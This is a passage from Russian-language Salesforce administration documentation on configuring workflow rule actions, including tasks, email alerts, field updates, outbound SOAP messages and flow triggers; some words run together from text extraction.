пункт «Задачи». Затем настройте задачу с помощью следующих параметров.

ОписаниеПоле

Выберите объект для задачи. Помните, что задачи могут быть связаны
только с бизнес-правиламиилипроцессами утверждения для тогоже типа
объекта. Выберите объект, отслеживающий действия.

Объект

Прим.: Задачи недоступны для типов статей.

Выберите назначенного для задачи. В зависимости от типа выбранной
записи, назначенным может быть пользователь, роль, ответственный за

Назначено

запись, автор записиилирольв группе, работающейсвозможностямиили
организациями.

Прим.:

• Если задача назначена ответственному за запись, а
ответственность за интерес или обращение назначена очереди,
то задача назначается пользователю, инициировавшему
выполнение правила.

• При переводе темы система Salesforce создает задачу на языке
назначенного пользователя. При установленномфлажке задачи
«Уведомить назначенного» система Salesforce отправляет
сообщение эл. почты на языке назначенного. Однако, если
переведено только поле комментариев, то система Salesforce
создает задачу и отправляет сообщение эл. почты на языке
пользователя, инициировавшего выполнение данной задачи.
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• Если настраиваемый объект связан со стандартным объектом посредством взаимосвязи
«Основная — подробная», тоответственныйза записьнастраиваемогообъекта автоматически
назначается ответственным за основную запись стандартного объекта. Например, если
настраиваемыйобъект «Расходы» связансостандартнымобъектом «Организации» посредством
взаимосвязи «Основная — подробная», тоответственныйза каждуюзаписьобъекта «Расходы»
назначается ответственным за организацию для объекта «Расходы».

• Если задача бизнес-правиланазначенароли, которой заданонесколькопользователей, то эта
задача назначается ответственному за запись, независимо от его роли. Рекомендуем избегать
назначения задач ролям, заданным нескольким пользователям. При назначении задач ролям,
заданным только одному пользователю, пользователь может быть изменен без изменения
бизнес-правила.

• Если преобразование интересующегося клиента выполняется пользователем, который не
являетсяответственнымзаинтерес, товсе задачибизнес-правила, связанныесинтересующимся
клиентом и назначенные данному пользователю, кроме электронных предупреждений,
переназначаются ответственному за интересующегося клиента. Задачи бизнес-правила,
назначенные пользователям, которые не являются ответственными за интересующихся
клиентов и их преобразование, не меняются.

Введите тему задачи.Тема

Введите уникальное имя, которое должно использоваться для обращения к данному компоненту в API.
Уникальность требуется толькодля выбранноготипаобъекта. Одноуникальноеимяможетбыть задано
нескольким действиям одного типа, при условии что вы используете разные объекты.

Уникальное
имя

Поле«Уникальноеимя»можетсодержатьтолькобуквы, цифрыисимволыподчеркивания. Имядолжно
быть уникальным для выбранного типа объекта; должно начинаться с буквы; не может содержать
пробеловидвухпоследовательныхсимволовподчеркивания, а такженеможет заканчиватьсясимволом
подчеркивания.

Выберите крайний срок для задачи. Крайний срок отображается в часовом поясе назначенного.Крайнийсрок

Еслипараметру задачи «Крайнийсрок» задано значение «Дата триггераправила», то триггерывремени
икрайние сроки задачибизнес-правила зависятот временивыполнениядействиядля триггера времени
бизнес-правила. Например, если крайнему сроку задачи задано значение «Дата триггера правила плюс
10 дней», а триггер времени выполняется 1 января, то система Salesforce устанавливает крайний срок
задачи на 11 января.

Выберите статус задачи.Статус

Выберите приоритет задачи.Приоритет

Введите комментарии для задачи.Комментарии

Все задачи содержат поле «Создано». Данное поле задачи содержит имя пользователя, сохранившего запись,
инициировавшую выполнение правила назначения задачи.
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Задачи не запускают выполнение бизнес-правил на основе задач, если они созданы автоматически, например нажатием
кнопки «Отправить сообщение эл. почты» или при использовании поля адреса эл. почты Email to Salesforce «BCC:»
(скрытая копия).

Действия электронного предупреждения

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Электронные предупреждения — это сообщения электронной почты, формируемые
автоматическииотправляемыеназначеннымполучателям. Электронныепредупреждения
содержат стандартный текст и список получателей сообщения электронной почты.
Электронные предупреждения — это действия, связанные с бизнес-правилами,
процессами утверждения или процессами права.

В меню «Настройка» введите строку «Электронные предупреждения» в поле «Быстрый
поиск» и выберите пункт «Электронные предупреждения». Затем настройте
электронное предупреждение с помощью следующих параметров.

ОписаниеПоле

Введите описание.Описание

Введите уникальноеимя, которое должноиспользоваться для обращения
к данному компоненту в API. Уникальность требуется только для

Уникальное
имя

выбранного типа объекта. Одно уникальное имя может быть задано
нескольким действиям одного типа при условии использования разных
объектов.Поле «Уникальноеимя»можетсодержатьтолькобуквы, цифры
исимволыподчеркивания. Имядолжнобыть уникальнымдлявыбранного
типа объекта; должно начинаться с буквы; не может содержать пробелов
и двух последовательных символов подчеркивания, а также не может
заканчиваться символом подчеркивания.

Если доступно, выберите нужный объект для данного электронного
предупреждения.

Данный объект используется системой Salesforce при создании значений
полей слияния для шаблонов эл. почты с помощью бизнес-правил и

Объект

процессов утверждения. Кроме того, получатели данного электронного
предупреждения могут быть определены посредством полей поиска
контактовипользователей, соответствующихданномуобъекту. Например,
лицо, подписавшееконтракт, можетбытьопределеновкачествеполучателя
привыбореобъекта «Контракт». Еслиновоеэлектронноепредупреждение
связаноспроцессомутвержденияилибизнес-правиломдляопределенного
объекта, то объект доступен только для чтения.

Выберите шаблон эл. почты. Поля слияния утверждения (кроме
{!ApprovalRequest.Comments}) по имени

Шаблон
эл. почты

{!ApprovalRequest.имя_поля} в шаблонах эл. почты возвращают
значениятолькоприиспользованиивсообщенияхэл. почтыоназначении
утвержденияиэлектронныхпредупрежденияхдляпроцессовутверждения.
Прииспользованиивдругихсообщенияхэл. почты, включаяэлектронные
предупреждения для бизнес-правил, поля слияния утверждения
возвращают значение null. Поле слияния
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ОписаниеПоле

{!ApprovalRequest.Comments} возвращает только последний введенный комментарий в
сообщенияхэл. почтыдляэтапаутверждения, предполагающегоединогласноеутверждениенесколькими
ответственными.

Если доступно, установите флажок «Защищенный компонент», чтобы отметить предупреждение,
являющееся частью пакета со статусом «Управляемый — выпущенный», в качестве защищенного.

Выберитеполучателейданногоэлектронногопредупреждения. Взависимостиот заданныхпараметров
организации и выбранного объекта, некоторые элементы данного списка могут быть недоступны.

Тип
получателя

Выберите получателей данного электронного предупреждения в списке «Доступные получатели»
и нажмите кнопку «Добавить».

При изменении объекта после выбора получателей система Salesforce очищает список «Выбранные
получатели».

Получатели

Еслиполучательсообщенияэл. почтынесетответственность за записьиявляетсяочередью, тоочереди
отправляется электронное предупреждение. Если очередь поддерживает отправку сообщений эл.
почты всем своим участникам, то уведомление также отправляется участникамочереди. Если адрес эл.
почты очереди не указан, то уведомление отправляется только участникам очереди.

Введите не более пяти дополнительных адресов эл. почты.Дополнительные
адреса эл.
почты

Введитепользователябизнес-правилпоумолчаниюилипредварительнонастроенныйипроверенный
единый адрес. В этом поле можно указать стандартный адрес эл. почты организации (например,

Адрес эл.
почты
отправителя support@company.com) вместо стандартного поля «От», содержащего адрес эл. почты пользователя,

обновившего запись.

Параметр «Выберите данный адрес в качестве стандартного адреса эл. почты отправителя для
электронных предупреждений данного объекта» заменяет «Адрес эл. почты отправителя» во
всех электронных предупреждениях, связанных с данным объектом. Чтобы использовать другое
значение поля «Адрес эл. почты отправителя», задайте соответствующие настройки для отдельных
электронныхпредупреждений. Еслиэлектронноепредупреждениеустанавливается сиспользованием
управляемого или неуправляемого пакета, параметр «Адрес эл. почты отправителя» в электронном
предупреждении бизнес-правила заменяется адресом эл. почты текущего пользователя. Параметр
«Адрес эл. почты отправителя» не меняется в случае использования других типов развертывания,
таких какMetadata API или наборы изменений.

Прим.: Ежедневное ограничение по количеству сообщений эл. почты, отправленных посредством электронных
предупреждений, составляет1 000 штукнаоднуорганизациюсостандартнойлицензиейSalesforce, кромебесплатных
организаций Developer Edition и пробных организаций, ежедневное ограничение которых составляет 15 штук на
стандартную лицензию Salesforce. Общее ограничение для организации составляет 2 000 000. Данное ограничение
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применяетсяк сообщениямэл. почты, отправленнымпосредствомэлектронныхпредупрежденийвбизнес-правилах,
процессах утверждения, потоках или REST API.

СМ. ТАКЖЕ:

Ежедневное ограничение для электронных предупреждений

Действия по обновлению полей

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Действия по обновлению полей позволяют автоматически обновлять значения полей.
Обновление поля — это действие, связанное с бизнес-правилами, процессами
утверждения или процессами права.

В разделе «Настройка» введите строку «Обновления полей» в поле «Обновление» и
выберите пункт «Обновления полей». Затем используйте следующие параметры для
настройки обновления поля.

ОписаниеПоле

Введите имя для данного обновления поля.Имя

Введите уникальное имя, которое должно использоваться для
обращениякданномукомпонентувAPI. Уникальностьтребуется только
для выбранного типа объекта. Вы можете использовать обновления

Уникальное
имя

полей одного и того же типа с одинаковым уникальным именем при
условии, чтоониопределеныдляразныхобъектов. ПолеУникальное
имя может содержать только символы нижнего подчеркивания и
буквенно-цифровые символы. Имя должно быть уникальным для
выбранного типа объекта; должно начинаться с буквы; не может
содержатьпробеловидвухпоследовательныхсимволовподчеркивания,
а также не может заканчиваться символом подчеркивания.

Введите описание для данного обновления поля.Описание

Выберите объект, поле которого необходимо обновить.Объект

Выберите поле для обновления. Поля отображаются только для
выбранного объекта. Выможете выбрать поле для связанного объекта,
который находится во взаимосвязи «основной-подробный».

Вы можете использовать обновления полей для зашифрованных
настраиваемыхполей, однако зашифрованныеполябудутнедоступны
в редакторе формул.

Поле для
обновления

Выберите этот пункт, если требуется, чтобы для бизнес-правила для
этогообъектабыла выполненапереоценкапослеобновления значения

Переоценка
бизнес-правил

поля. Привыборе этогопараметра Salesforce выполнитпереоценку всехпосле
бизнес-правил для этого объекта в случае, если после обновленияизменения

поля значения поля это значение изменится, что приведет к запуску любых
бизнес-правил, критериямкоторыхбудет соответствоватьобновленное
значение. Дополнительную информацию см. в разделе «Обновления
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полей, выполняющие повторную оценку бизнес-правил» на странице 4811.

Значение, которым должно обновляться поле. Доступные варианты определяются типом
обновляемого поля. Дополнительные сведения см. в разделе Параметры значения для действий
обновления поля на странице 4794.

Укажите новое
значение поля

Параметры значений для действий обновления полей
При создании действия обновления полей укажите, каким должно быть новое значение поля.

СМ. ТАКЖЕ:

Параметры значений для действий обновления полей

Обновления полей кросс-объекта

Обновления полей, выполняющие повторную оценку бизнес-правил

Рекомендации по обновлениям полей

Параметры значений для действий обновления полей

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Присозданиидействия обновленияполей укажите, какимдолжнобытьновое значение
поля.

Доступные варианты обновления полей определяются типом обновляемого поля.

• Установите переключатель «Специальное значение» и введите нужное значение.

• Чтобы разрешить системе Salesforce удаление любого текущего значения и пропуск
поля, установите переключатель «Пустое значение (ноль)». Данный параметр
недоступен для обязательных полей, флажков и некоторых других типов полей.

• Выберитепользователя, которомудолжнабытьназначенаответственность за запись.
При необходимости выберите очередь для записей обращений, интересов или
настраиваемых объектов. Чтобы отправить сообщение эл. почты новому
ответственному за запись, установитефлажок «Уведомить назначенного»  (данный
параметрнедоступенприналичиифлажка «Разрешитьпользователямконтрольнад
уведомлениями о назначении задач»).

• При использованиифлажков выберите значение «Истина» для установки флажка и значение «Ложь» для снятия
флажка.

• При использовании раскрывающихся списков выберите специальное значение из раскрывающегося списка или
выберите значение выше или ниже текущего значения на основе порядка сортировки, заданного в определении
раскрывающегося списка. При сортировке значений по алфавиту вышестоящие или нижестоящие значения могут
различаться для пользователей других языков.

• Чтобы вычислить значение на основе выражения, полей слияния или других значений, установите переключатель
«Использоватьформулудляопределенияновогозначения». Дополнительныесведенияобиспользованииформул
в Salesforce см. в разделе Формулы на странице 4615.
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Действия с исходящими сообщениями

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Исходящее сообщение — это действие бизнес-правил, утверждений или контрольных
точек, которое отправляет указанные сведения указанной конечной точке (например,
внешней службе). Параметры исходящих сообщений могут быть заданы в меню
настройки Salesforce. Затем рекомендуем настроить внешнюю конечную точку.
Получатель сообщений может быть создан посредством SOAP API.Исходящие
сообщения — это действия, связанные с бизнес-правилами, процессами утверждения
или процессами права.

В разделе «Настройка» введите «Исходящие сообщения» в поле «Быстрый поиск» и
выберите пункт «Исходящие сообщения». Затем используйте следующие параметры
для настройки исходящего сообщения.

ОписаниеПоле

Выберите объект, содержащий информацию, которая должна быть
добавлена в исходящее сообщение.

Объект

Введите имя для данного исходящего сообщения.Имя

Введите уникальное имя, которое должно использоваться для
обращениякданномукомпонентувAPI. Уникальностьтребуется только

Уникальное
имя

для выбранного типа объекта. Допускается использованиеисходящих
сообщений с одним и тем же уникальным именем при условии, что
они заданы для различных объектов.

Поле «Уникальное имя» может содержать только буквы, цифры и
символыподчеркивания. Имядолжнобытьуникальнымдлявыбранного
типаобъекта; должноначинатьсясбуквы; неможетсодержатьпробелов
и двух последовательных символов подчеркивания, а также не может
заканчиваться символом подчеркивания.

Введите описание для данного исходящего сообщения.Описание

Введите URL-адресконечнойточкидляполучателясообщения. Система
Salesforce отправляет сообщение SOAP на данную конечную точку.

URL-адрес
конечной
точки

Выберитепользователя Salesforce, которыйдолжениспользоватьсяпри
отправкесообщения. Выбранныйпользовательопределяетдоступность
данных для сообщения, отправленного на конечную точку.

Пользователь
для отправки
как

Чтобы добавить код сеанса Salesforce в исходящее сообщение,
установитефлажок «Код сеанса отправки». Чтобывыполнятьвызовы

Код сеанса
отправки

API без ввода имени пользователя и пароля, добавьте код сеанса в
сообщение. Настоятельно рекомендуем отправлять имя пользователя
ипароль толькопосредствомзашифрованногосообщения (особенно
при использовании производственной среды). Отправка
незашифрованных сообщений небезопасна.

Выберите приоритет для исходящего сообщения.Приоритет
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ОписаниеПоле

Выберите поля для добавления в исходящее сообщение и нажмите кнопку «Добавить».Поля организации
для отправки

Если URL конечной точки использует клиентский сертификат, см. Импортирование клиентского сертификата для URL
конечной точки на странице 4811.

Уведомления об исходящих сообщениях
Запрос на уведомление, содержащее все исходящие сообщения, которые не были отправлены в течение последних
суток, может охватывать не более пяти пользователей. Новые уведомления отправляются каждые 24 часа до отмены
запроса. Неотправленныесообщенияудаляютсяиз связанногосписканеотправленныхисходящихсообщенийчерез
семь дней. При необходимости удалите данные сообщения самостоятельно или отправьте запрос на повторную
доставку.

Отслеживание статуса доставки исходящего сообщения
Чтобы отслеживать статус доставки исходящих сообщений, введите строку «Исходящие сообщения» в поле «Быстрый
поиск» в меню «Настройка», затем выберите пункт «Исходящие сообщения».

Импорт клиентского сертификата для URL конечной точки
Если URL конечной точки вашего исходящего сообщения использует клиентский сертификат, импортируйте его,
чтобы запустить исходящее сообщение в действие.

СМ. ТАКЖЕ:

Отслеживание статуса доставки исходящего сообщения

Рекомендации по использованию исходящих сообщений

Руководство разработчика SOAP API

Рекомендации по использованию исходящих сообщений

Уведомления об исходящих сообщениях

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Запрос на уведомление, содержащее все исходящие сообщения, которые не были
отправлены в течениепоследних суток, может охватывать не более пятипользователей.
Новые уведомления отправляются каждые 24 часа до отмены запроса. Неотправленные
сообщения удаляются из связанного списка неотправленных исходящих сообщений
через семь дней. При необходимости удалите данные сообщения самостоятельно или
отправьте запрос на повторную доставку.

Прим.: Еслиданныепараметрынеотображаются, тоорганизациянеподдерживает
исходящие сообщения. Чтобы включить поддержку исходящих сообщений,
обратитесь в компанию Salesforce.

Создание уведомления об исходящих сообщениях
Запрос на уведомление, содержащее все исходящие сообщения, которые не были
отправлены в течение последних суток, может охватывать не более пяти пользователей. Новые уведомления
отправляются каждые 24 часа до отмены запроса.

Просмотр запроса на уведомления об исходящих сообщениях
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Создание уведомленияобисходящих сообщениях

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать уведомление
об исходящих сообщениях,
следуйте приведеннымниже
инструкциям.
• «Изменение всех

данных»

Запрос на уведомление, содержащее все исходящие сообщения, которые не были
отправлены в течениепоследних суток, может охватывать не более пятипользователей.
Новые уведомления отправляются каждые 24 часа до отмены запроса.

1. Введите строку ««Уведомления об исходящих сообщениях»» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт ««Уведомления об исходящих
сообщениях»».

2. Нажмите кнопку «Создать».

3. Введитеполноеимяпользователяилищелкните значокдля выбораименииз списка.

4. Сохраните запрос.

Прим.: Еслиданныепараметрынеотображаются, тоорганизациянеподдерживает
исходящие сообщения. Чтобы включить поддержку исходящих сообщений,
обратитесь в компанию Salesforce.

Просмотр запросана уведомленияобисходящих сообщениях

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра или
редактирования запроса на
уведомления об исходящих
сообщениях:
• «Изменение всех

данных»

Со страницы с описанием запроса на уведомления об исходящих сообщениях.

• Чтобы изменить имя пользователя для запроса на уведомление, нажмите кнопку
«Правка». Данное действие выполняется быстрее, чем удаление и последующее
создание запроса.

• Чтобы удалить запрос на уведомление, нажмите кнопку «Удалить».

• Чтобы клонировать запрос на уведомление, нажмите кнопку «Клонировать».
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Отслеживание статуса доставки исходящего сообщения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Бизнес-правила и
утверждения доступны за
дополнительную плату в
версиях: Professional
Edition.

Утверждения и действия
контрольных точек
недоступны в версиях:
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отслеживания
исходящих сообщений:
• «Изменение всех

данных»

Чтобы отслеживать статус доставки исходящих сообщений, введите строку «Исходящие
сообщения» в поле «Быстрый поиск» в меню «Настройка», затем выберите пункт
«Исходящие сообщения».

• «Неотправленные исходящие сообщения» — это сообщения, ожидающие доставки.

• «Самые давние неотправленные сообщения в очереди» — это недоставленные сообщения,
которые будут удалены по истечении 24 часов.

• «Неотправленныеисходящие сообщения» — это сообщения, которыене удалось доставить
и которые были отменены. Сообщения отображаются только при наличиифлажка
«Добавить неотправленные сообщения в связанный список неотправленных
исходящих сообщений», установленного при их создании. Данный связанный
список отображается только после включения его поддержки.

Ниже перечислены действия, доступные на данной странице.

• Чтобы просмотреть действие, инициировавшее исходящее сообщение, щелкните
нужный код действия бизнес-правила или процесса утверждения.

• Чтобы изменить дату в поле «Следующая попытка» на текущую, нажмите кнопку
«Повторить». Данноедействиеинициируетнезамедлительнуюповторнуюдоставку
сообщения. При нажатии кнопки «Повторить» в связанном списке
«Неотправленныеисходящиесообщения»исходящеесообщениеперемещается
в связанный список «Следующие элементы для доставки» и повторно
обрабатывается в течение следующих 24 часов.

• Чтобы безвозвратно удалить исходящее сообщение из очереди, щелкните ссылку
«Удал.».

Прим.: Еслиданныепараметрынеотображаются, тоорганизациянеподдерживает
исходящие сообщения. Чтобы включить поддержку исходящих сообщений,
обратитесь в компанию Salesforce.

Импорт клиентского сертификата для URL конечной точки

Если URL конечной точки вашего исходящего сообщения использует клиентский
сертификат, импортируйте его, чтобы запустить исходящее сообщение в действие.

1. Введите строку «API» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «API».

2. Щелкните ссылку «Создать сертификат клиента».

3. Сохраните сертификат в соответствующую область.

4. Импортируйтезагруженныйсертификатнасерверприложенийинастройтеданныйсервердляпроверкисертификата
клиента.
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Определение триггера потока для бизнес-правила (пробная версия)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
бизнес-правил и действий:
• «Просмотр настройки и

конфигурации»

Для создания илиизменения
бизнес-правил и действий:
• «Настройка

приложения»

Для запуска потока посредством бизнес-правила требуется создать триггер потока.
Триггеры потока позволяют автоматизировать сложные бизнес-процессы — создавать
потоки для выполнения логики и разрешать событиям запуск потоков посредством
бизнес-правил, без создания специального кода.Например, при наличии потока,
выполняющего поиск и назначение соответствующего права для обращения,
пользователь может создать триггер потока для запуска потока при каждом создании
обращения. Таким образом, всем новым обращениям будет автоматически назначаться
стандартное право.

Прим.: Конструктор процессов заменяет триггеры потока как действия
бизнес-правила, ранее доступные только в пробной версии. Организации,
использующие триггеры потока как действия бизнес-правила, могут продолжить
их создание и редактирование; триггеры потока как действия бизнес-правила
недоступны новым организациям.

Чтобы начать использовать триггеры потока, введите строку «Триггеры потока» в поле
«Быстрый поиск» в меню «Настройка», затем выберите пункт «Триггеры потока» .
Перед началом работы:

• Создайте и активируйте автоматически запущенный поток, запускаемый данным
действием бизнес-правила.

• Создайте бизнес-правило для добавления данного действия бизнес-правила.

• Просмотрите особый алгоритм и ограничения для триггеров потока. См. раздел
«Рекомендации по триггерам потока (пробная версия)» на странице 4817.

Чтобы создать триггер потока, выполните указанные ниже действия.

1. Введите строку «Триггеры потока» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Триггеры
потока».

2. Нажмите кнопку «Создать триггер потока».

3. Выберите объект, используемый бизнес-правилом, и нажмите кнопку «Далее».

4. Настройте триггер потока.

ОписаниеПоле

Имя триггера потока.Имя

Введите уникальное имя, которое должно использоваться для обращения к данному
компоненту в API. Поле «Уникальное имя» может содержать только буквы, цифры и

Уникальное имя

символы подчеркивания. Имя должно быть уникальным для выбранного типа объекта;
должно начинаться с буквы; не может содержать пробелов и двух последовательных
символов подчеркивания, а также не может заканчиваться символом подчеркивания.

Зарезервировано для последующего использования.Защищенный компонент

Уникальное имя автоматически запущенного потока, запускаемого данным действием
бизнес-правила.

Поток

Данныйпараметропределяетнеобходимостьпередачи значенийвпеременныепотока
и переменные sObject.

Задать переменные потока
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5. При выборе параметра «Задать переменные потока» укажите их имена и значения.

Чтобы задать не более 25 переменных, щелкните «Задать другое значение».

ОписаниеПоле

Выберите имя переменной потока или переменной sObject.

Пользователимогут выбиратьтолькопеременные, поле «Тип ввода/вывода» которых
разрешает доступ для ввода.

Имя

Прииспользованиипеременнойпотока выполните одно из указанныхниже действий.Значение

• Введите литеральное значение.

• Щелкните значок , выберите нужное поле и нажмите кнопку «Вставить».

Прииспользованиипеременной sObject выполните одно из указанных ниже действий.

• Щелкните значок , выберите запись sObject и нажмите кнопку «Вставить».

В отличие от полей, все записи sObject помечаются символом (*) и отображаются
вверху каждого списка.

• Чтобыиспользовать текущие значения записи, созданнойилиизмененнойсцелью
запуска бизнес-правила, введите {!this}.

• Чтобыиспользоватьпоследниепредыдущиезначениязаписи, измененнойсцелью
запуска бизнес-правила, введите {!old}.

Другими словами, {!old} и {!this} определяют одну запись, но используют
разные значения.

Прим.:

• При использовании новой записи {!old} содержит значение null.

• В отличие от {!this}, значок не может использоваться для выбора
{!old}. Введите {!old} вручную в столбец «Значение».

6. Чтобы применить триггер потока в режиме тестирования, установите флажок «Администраторы выполняют
последнюю версию потока».

Данныйфлажок позволяет триггеру потока запускать последнюю версию потока, если бизнес-правило запускается
администратором. Для всех остальных пользователей триггер потока всегда запускает активную версию потока.

Переменнымпотока и переменным sObject передаются те же значения при запуске любой (активной или последней)
версии потока.

7. Нажмите кнопку «Сохранить».

Помните, что триггер потока должен быть связан с бизнес-правилом.

СМ. ТАКЖЕ:

Рекомендации по триггерам потока (пробная версия)
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Определение пользователя бизнес-правил по умолчанию для организации

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров бизнес-правил
и утверждений:
• «Настройка

приложения»

Заполните поле «Пользователь бизнес-правил по умолчанию» значением, которое
должно отображаться системой Salesforce напротив бизнес-правила при неактивности
пользователя, инициировавшего выполнение правила.

Если организация использует зависимые от времени действия в бизнес-правилах, то
данное поле является обязательным. Если пользователь, инициировавший правило,
неактивен, то система Salesforce отображает имя пользователя бизнес-правил по
умолчанию в поле задачи «Создал», поле сообщения эл. почты «Отправитель» и поле
обновления «Последнее изменение сделано». Система Salesforceнеотображает данное
имя пользователя для исходящих сообщений. При наличии ошибки в отложенном
действиипользовательбизнес-правилпоумолчаниюполучаетэлектронноеуведомление.

При приближении или превышении некоторых ограничений для электронных
предупреждений бизнес-правил система Salesforce отправляет
сообщение-предупреждениепользователюбизнес-правилпоумолчаниюилиактивному
системному администратору (при его отсутствии).

1. Вразделе «Настройка» введите «Параметры автоматизации процесса» вполе «Быстрый
поиск», затем выберите «Параметры автоматизации процесса».

2. Выберите нужного пользователя в поле «Пользователь бизнес-правил по
умолчанию».

3. Нажмите кнопку «Сохранить».

Связывание действий с бизнес-правилами и процессами утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выбора текущих
действий:
• «Настройка

приложения»

Связывание уже созданных организацией действий с бизнес-правилами и процессами
утверждения.

Чтобысвязать текущиедействиябизнес-правила с другимбизнес-правилом, выполните
указанные ниже действия.

1. Введите строку «Бизнес-правила» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Бизнес-правила».

2. Выберите нужное бизнес-правило.

3. Нажмите кнопку «Правка» в разделе «Действия бизнес-правила».

4. Взависимостиотнужноговременивыполнениядействия, нажмитекнопку«Добавить
действиебизнес-правила» вразделе «Немедленныедействиябизнес-правила» или
«Зависимые от времени действия бизнес-правила» ищелкните ссылку «Выбрать
текущее действие».

5. Выберите тип действия для связывания с бизнес-правилом.

6. Выберите нужные действия в списке «Доступные действия» и переместите их в
список «Выбранные действия» посредством кнопки «Добавить». Чтобы удалить
действия из списка «Доступные действия», воспользуйтесь кнопкой «Удалить».

7. Сохраните внесенные изменения.

Чтобы связать текущие действия бизнес-правила с процессом утверждения, выполните
указанные ниже действия.
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1. В разделе «Настройка» введите «Процессы утверждения» в поле «Быстрый поиск», затем выберите «Процессы
утверждения».

2. Щелкните имя нужного процесса утверждения.

3. В зависимости от нужного времени выполнения действия, выполните одно из указанных ниже действий.

• Нажмите кнопку «Добавить текущее» в разделе «Действия исходной отправки», «Действия окончательного
утверждения», «Действия окончательного отклонения» и «Действия отзыва».

• Щелкните ссылку «Показатьдействия» вразделе «Этапыутверждения» инажмите кнопку «Добавитьтекущее»
в разделе «Действия утверждения», «Действия отклонения» или «Действия отзыва».

См. раздел «Выбор действий утверждения» на странице 4851.

4. Выберите тип действия для связывания с процессом утверждения. Список «Доступные действия» содержит все
текущие действия выбранного типа.

5. Введите имя конкретного действия в текстовое поле и нажмите кнопку «Найти».

6. Выберите нужные действия в списке «Доступные действия» и переместите их в список «Выбранные действия»
посредствомкнопки «Добавить». Чтобыудалитьдействияиз списка «Доступныедействия», воспользуйтеськнопкой
«Удалить».

7. Сохраните внесенные изменения.

Активация бизнес-правила

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-правил и действий:
• «Настройка

приложения»

Система Salesforce поддерживает выполнение только активированных бизнес-правил.

Чтобыактивироватьбизнес-правило, щелкните «Активировать»на страницесведений
обизнес-правиле. Чтобыотменитьправилоилиизменитьзависимыеотвременидействия
и триггеры времени, связанные с правилом, щелкните «Деактивировать».

При необходимости бизнес-правило может быть деактивировано. При деактивации
правила, содержащего отложенные действия, система Salesforce выполняет данные
действия только после обновления записи, инициировавшей выполнение правила.

Прим.:

• Бизнес-правило, содержащее отложенные действия в очереди бизнес-правил,
неможетбытьудалено. Дождитесьзавершенияобработкиотложенныхдействий.
Чтобыотменитьотложенныедействия, воспользуйтесьочередьюбизнес-правил.

• Зависимые от времени действия не могут быть добавлены в активные
бизнес-правила. Рекомендуем деактивировать бизнес-правило, добавить
зависимое от времени действие и повторно активировать правило.

СМ. ТАКЖЕ:

Установка критериев для бизнес-правила
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Рекомендации по использованию бизнес-правил

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем ознакомиться с тонкостями создания бизнес-правил и бизнес-действий,
прежде чем применять их на практике.

• Каждое бизнес-правило применяется к одному объекту.

• При наличии бизнес-правил для преобразованных интересов и необходимости
обновления полей кросс-объекта для конечных организаций и возможностей
рекомендуем включить параметр интереса «Выполнять проверку и триггеры при
преобразовании интереса».

• Удаление настраиваемого объекта инициирует автоматическое удаление
соответствующих бизнес-правил.

• Порядоквыполненияотдельныйдействийитиповдействийнегарантируется. Однако
действия обновления поля выполняются первыми, а затем — все остальные.

• Чтобысоздатьбизнес-правила, которыеобновляютполяобращениянаосновеновых
комментариев к обращениюили входящих сообщений эл. почты, выберите значение «Комментарий к обращению»
или «Сообщениеэл. почты» враскрывающемсясписке «Выбрать объект»; значение «Сообщениеэл. почты» доступно
только при использованиифункции Email-to-Case или On-Demand Email-to-Case. Бизнес-правила для сообщений эл.
почты могут быть созданы только для обновлений поля, а бизнес-правила для комментариев к обращениям — для
обновлений поля, электронных предупреждений и исходящих сообщений. Например, пользователь может создать
